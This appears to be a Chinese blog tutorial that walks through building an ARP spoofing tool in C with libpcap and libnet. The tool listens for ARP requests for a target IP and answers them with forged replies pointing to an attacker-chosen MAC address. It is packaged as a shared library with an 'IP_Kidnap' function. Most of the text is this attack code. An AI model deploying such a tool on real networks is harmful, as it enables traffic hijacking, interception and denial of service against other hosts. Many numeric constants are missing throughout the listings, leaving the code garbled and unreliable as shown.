我站在 烈烈风中
恨不能 荡尽绵绵心痛
望苍天 四方云动
剑在手
问天下谁是英雄
——《霸王别姬》
阅读这篇文章之前，请确认已经熟悉ARP报文伪造的方法，可参考《ARP数据包伪造》。
请看下图，这是全篇文章的鸟瞰：
要想实现上图的工作流程，必须实现两个模块：
•*的伪造ARP报文
•抓取并分析所有流经网卡的数据包
从上图中可以看出，我们可以通过BPF或者DLPI层实现数据包的抓取分析，而tcpdump的根基——libpcap库，正是对BPF层的二次封装实现的C库，我们将通过它来实现数据包的抓取分析。
关于libpcap的基础使用，请参考这篇文章《libpcap使用》。
下面给出一个简单的libpcap过滤抓包的程序：
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> unsigned char glTargetIP[]={,,,};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2"; void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}
gcc name.c -lpcap -o name
结合ARP报文伪造模块，下面给出完整实现代码：
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h> #define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4 unsigned char glTargetIP[]={,,,};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2"; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,); printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}
这个工具的验证结果已经在文章鸟瞰图中给出。
下面，我们将这段代码封装成为一个共享库，以供其他程序调用。
// # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h> #define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4 static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,); printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} /* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
glTargetIP=TargetIP;
glBpfCmd=BpfCmd;
glRetargetMac=RetargetMac;
glSendNICStr=sendNICStr;
glListenNICStr=listenNICStr; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glListenNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}
编译后的结果：
函数原型：
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/
附录：
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